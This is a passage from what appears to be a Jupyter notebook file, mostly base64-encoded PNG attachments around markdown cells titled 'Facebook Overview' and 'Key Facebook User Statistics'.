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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image-3.png](attachment:image-3.png)\n", + "# Facebook Overview\n", + "![image-4.png](attachment:image-4.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Key Facebook User Statistics" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAZEAAADhCAYAAAAJdIgiAAAgAElEQVR4Aey9ZZSdR5L32V/2nN134ezs7pnpaW6zuFR4uZi56vK9BWJmlkpQwmJmFptkW0bZMtuSZZLMMrfMkmzJTJLt356Ip0pSd9vtmb5+R+Pj+pAnH87MyHzinxGRGfGr2GAfkhyBXk12fw+SbL5uTUPnP5gHurH/nNNge3+wfT92/+fc9p+i7j9Gn//u90OlQajtC7X84fd/3vznYvdfiONXsONXPwQeVm8Xkn6UuV5sIoRafohE/FkDaKi0k/dDpd/Ffj9UGoRa/1DLH35/GERCGQMhjl/Bj18JExiSOoaAw+LpZCgNXfvB3NeJ9eecBsHyB9v3Y/d/zm3/Ker+Y/T5734/VBqE2r5Qyx9+/+fNfy52/4U4fgU/fnUh8xwCDrO7A0kmV/s5MBm693e5twPLzzldAJh/17b/yL2fc9t/irr/R2j03/mZUGkQattCLX/4/Z83/7nY/Rfi+BX8OAciQwx0CDwEQCQNAcoP5p52zD/nNAiYP9i+H7v/c277T1H3H6PPf/f7odIg1PaFWv7w+z9v/nOx+y/E8fuDIHIhkPwoc73YRAi1/BCJ+LMG0FBpJ++HSr+L/X6oNAi1/qGWP/z+MIiEMgZCHL9/BSJycqE0MgQkQ9d+ML/Y4lio5Ycozv2sVXmh0k7eD5V+F/v9UGkQav1DLX/4/WF1VihjIMTxqyDyfUb1C2eXP8okQmnAf4d3QyTiMIicX4Txo2MlVFr/z3g/1DEYap1CLX/4/WEQCWUMhDh+BT9+NQQikn+fNHIhoHzvcSii1H+Hd0MU54bVWcYijO8dG6HS9r/i/VDHYKh1DLX84feH1VmhjIEQx+8wiAjxQyTiMIgMg0hIYygUBjD87jCAhDoGQuR/wyAyDCKh/4QhDsKQGPBPUfZF/gl/8ZOQUOk//H5o/3CI/9AwiAyDSGgD8KegX4iDOGQQCpUJhVr/UMsffj/0MfxLpmGI43cYRGTwhEjEX/xMMlT6Xez3Q2UgodY/1PKH3x8GkVDGQIjjdxhEhPghEnEYRIZtIiGNoVAYwPC7wwAS6hgIkf8Ng8gwiIT+E4Y4CENiwD9F2Rf5J/zFT0JCpf/w+6H9wyH+Q8Mg4mnH4m4dTIPuWy4k6j8aoEPPDT5jcQ99aygf+u4P5UPPSbnyzIW53DPq84/y83U33re4OjBSl5Gfq1MrFk+zkbS97YPPdQwOwFatg9TjfBqkx9/RQJ5pxuxt1Fzbfa7cofIHcyn/h+65BiWYC7+vNB2q+2Cd9X251oPZ3WWULeXLsVuudWDytJ9P3lZMks5dk/tGOgdYF5bpGXx+6L3B/DwdLqTJ0PF52vxd+5TmRv/9EG2kHkP9+v3lGN+XNgjIXJhruy6o6/n3mwdpM1THoVzev0Ba1G8O3ZPcKGOoPv+5fOg7Q2VLfuF4v4AOF9BFyhS6DZU9nJ8fT//ltBjiY/9kboCIvwvbYBJvvEOb5/7LG/NXP/Z/DVGFCdvc9YOp8RyYnB/grcQWdWILtGALtmINtBiM09umNNPNdcLsXS1YCptxeFuJ93dh97RgLmzA5m7G6moi1teGtbCROG+bJpuzCYe7DVNeHbHeDqxe4/0YZ4N+R+vlMn5Gm6sVq6cNu7tN62d1tmh5ci7fdbjlWy3Yne04XN3EugZwOAewFfRiyW/Ve7HeRhyeeuzuOqyF9VgKmrAWdGAtNPo7vKCWGFcj9kC75pEFdUabBkHAVNimP7zF20aMux6TtxprUTW2YC0OTzux3m4cnk6szjYsha2ay3mceCh1thHn69YkxzF5TZgLWrA62zE5hQk1E+NpwORu0rFndfdic3Vgd9cQ66vB4erQ9tgLdyH3zP4tWAIVmD29WDzbiZS6BTowB9uICTZjKWkhqqiRME8dUcFWxntaiXC3EePtxuQR4BGHoW1Kc0egFVuwHVOglRh/i+ZDxxa/cU9ys68Fi7dFaRMtfaT930FMYQt2VzcOdw92ZwfWglZiPe0kBbuI93Vizm/U+se6u/SZWE+vQSu/0KMTR6Adi68Bk68ei79Zx5fUx17UhdnbQbRX7ncS4+tQYIz2tiIp0tNIpKdek83fhs3XjEW+4avH7GvS+pq8Qtcm431pu7sPk7sHi79dyzL7G3QiYPO2Y/N2Yh8ENpurHaunQ/tTrkt/ST9p/3o6tH/lery/RyclZm89Jl+Nlm31N2DzNeLwGv+CjFFbYds5GsR5urG7OxVAhG5Wd+cwkFwEvvdXvP2fBI+hCZmxY/2XDCKeZgUQYa42dyPCsIdmlkokTztWn8xq6/RntwQalYkKwxXnlFEFLTj83dh9XcrgBUz0x3G1KpDE+dtJKu4mdUIf8b52TcLwzfn1ymyU+XtalKEJkJjdTQiQmJzN+j27r0MBREHE16VlxQZ6NJcfXQBFQMQuAODswF7Yg6NwG7HO7cS5txHn6SXB30G8v4lYrwBW3SDotOmz1sJuZdw6c3c3KSMXpi5tFuYizMPq7sbiMlziWH3tWP3N2IL1WIuqMPuqlJEI0xdQEJCQXBiRMiOngGMrsd4uZTqSOzxdykiFmcj3BZztRW3YiwRMu7C6+vUZh7cSm2czcZ4ubZOt4Gq9Zw1uwlq8EYu3jxj3Lsz+fqxFXQoCUf56TKXNRJU0EuarJTzQTGSwiwhfF9GeHmWiUobD36mAb/U2Ee2uJ9rfou9H+5qRJIAiSZh1RGGdgpwwawESATuhg8SRsXm6sDl7sLt6EQapdXW3YEwSWojzduBwdSq4y3NK74IOYgpaiS5oJFoA3deAMnRfk5YT5ZI6NSuAmAPdRLhaiXC1EOk2ACTG16ZgZw4aExtjLMq4rCHGU0W0pxYBEAMEOzF7OzH5+jD7thHj7ddvR7nqiJLn3fVKCxm/ytBdbZilHz0d2GVi4O/G4evR8S3nAh7yXFywl/hgvzG5EeAONGDy1BLtqsFUUI2poFYnTTZnC/HuThI8XSS4uxEwlX6X8SLjQL79VwztYjPUX2L5IYLIsCSikkjjOQCRwa0M09Wj6hMBFGHkFl+TSiOOIpFA2rAHOokr2ooj0E+M01AVCKjEyExbgMjboUzGEZSfpFWZzhAwiJQhYKM/qF9mYkMqgVZMbpntNmNyGzN/kQzlONrZooAVXSgqnk6N/6LeBQalGJswfY/BgM0F2zDlb8VU0I+p0AA3k0skjWrMnlrkWWEIwqwtzj6iCmQma4BJZEGTli/lys8t5dl8vao2Mrk6jdAAMov3izqrjhh37aBE1q3qJaNuvefqpwxicJAO0Ue+Y/X2aIpxtxPpbiYm0I7J30m0q4NoZ6/es/lrsLgrFHBsrp2YC6/G7BnAWlyBpaSSGH8fUe6dmHwDCLOVWXuEzNADTYT7GgjzNBDuayHSL/f6iXL36mxc1WCuNp0wmGQyIAw32Ikt2HlODWYTgAiI5NJOtHMIXFuVNtIX0idGezpUOhJVm83TgwC8gG9UvjERiC/qIy4wQFxgG7H+rdh8/do2oZPQRvrbGmjTZBZwUDWcoXqz+nuxBfrOJau/W6UTqVOMp4VodyMiFUXlG5KCSMuOohaVJm1+GX+d2HX89WLxblWpTXIFal+rMRnwt2ksDpWoPdKHMpaHfOgZHizkXNpqGbw/NN7lXCZRMUILUU/JWBTpymNINSIZixQi0rCtUKTkDmLdxj2VfHxdSq9hEPmv0br8IJ1DBBGNJzKkypL8l6bOUv2tSCOuVp0d2ZxdyliFuQpjEECJDUiER5EWmlT8l9mjAIXM0FUn7+3GEugjtngrtqIBLDK7CnQjP320/FiDP7/8bKKaEOZk9XfpjxdR2IA1MKiqEGbqafm7Zywi5fhEvdE5qNuXd7uIcXciTHhI7aIhjoM7sHl2YHJtxeTsI9o52Keimgk0qbpEZtFmUW84e4kp7CW68DwgChNRcBIm5+7QqIWxwQFig9uwevu0vQoA0g5/B45gl7ZvSFUkubRfcqmv0MEW6MGk7RVpQNrSg9nfq3WIEibt7yDS30GMv4sYb68ChUgZohqx+Gt1Zmx2bsXsulpn0jHBSqKCW4jw9hDp2qGgI8/bg/1Ygt3EBFqJEonC34a5qJtoXy+2oh3Y/Ntx+Lcr0xdJQNRwon6UdkgSJijMUkBOGKSAp4CrTATkvoB7VKHYgdoN0PV0YxH1VHCbtkXopf3r71KVkfxL0nZlvqp6k7b1at8ZNppBW4f4PfIJgMr46NJ2WAVsfP3aNyaXAdDCzGWSoipA16DUWtikkoFKRKpRMMDDaFOX0QbvVszubZgKB7C4B7D7+4gt6lWwEYlT+2mw34SGSkfpI+3DbgV2OZbxHVeyDQE36UMBODl2yNjw9evYiCnoxFLQgfxH8d4eEv19WAvaVNUqUpqqbj1t5yRuAegfZG6/RKngYrR5GERCR3HDOC2GPgNAbIX9aHL26c8g6imxa9g9Tap7FjuH6oR9/TqzjHF1EyGzNVEZBAeUEcaIvjjQR5TXYJwCJsJIhamaA106647yiIqimXBnI+GueiLcDao+keuG7rudKE8b4/IbVJ0x9L7J10OUu9NInnbjHW+TMWv2dOlsO9rdb+SeLiIKmojyNhl68KABZMLMzZ5+naGaXQZgmp2G2kqYpzArQwrpVqYqjEdm0QKaNveAYeR2SmjcPm1XpNTD3aa2h3BnC+MKmvTcUtRrSAmq1+/EFOjGEuxRwBA1zdiCBkzFvUSKFCJSV6Afk3ergp+oW8RWIHWx+rYRV3Qd9uLtmItqiQ5WExUQMNpNeG43kXmGkV0AW0BZbCQmfzsxwpw9AgLbDLCRujv7iMltVcZmLmhS9aMwZgEWmRiI3SUmv1ulODmPzjdsUKp+KmhUsDFm5wI0/QZoKgi0Mr6wiSiRVPydCgyiglIgOSdRCPOVZEg6kkc5DVCXXMFT1HSFPVjc/URLu5yiNutB7CmGrahD7SmiHhUgjA+KdNFHTEE7UXnNxAiwiA3N243d24/VJf21DYtzKxannPcr8KhE7GnWcSN9J0nB3t+lx3Iu41Zy6VMBfLkv14Su0o8CItI3MnGxubdqWTZnn6rtbIWdCiBDIDIE2mr/8zWdk4QMSTz0/3gYjP5JGg6DyD9JuAsQ//wKmh5lMOcBpEd/2pjcWqJyK7A6a7B769X+oEDiMnTbjqIBwgvbiBBD8SCDFyZtLeq94KfrwFbciykoP6DMkNuxlXSSOLWPSGetMkvDLtBmMHuf6LvbiS3pUiOpqDpU3SGqjEH1gUgzYoAVm0K0r5EoVwPhzmainK0KMIaqqJVIZyNRXpF4WrAWt6naRsBMZpPCtETdEpXXSmRuizJRYT4yqxaVjUhcEfmN56QTmVXH+Xdg94i6rFeZlDBCsSMI+EnbBAAjXE0KgLbibhyl/crUxTgs94eekeeE0QtNRBoRBiXAaw9sVenGHmwmttgoX2bjAgTCgKP9VUR4thDhaSXa06cz7MicTqLzDbf0osaRxRAiJalq0SNqmT7Cs9owF/aqgdtS2KY2Kelbw6bUrKqWBP8Aib4dONwDKDN0d6thWVWA/hadRIh6M6qwmfDsJlX9CGhJPzmKOwfVTIZ6LLakR9VkQ303pK4Sm5PYVUSVpWpLd4fO8mW2L6AsQB2V164qsHh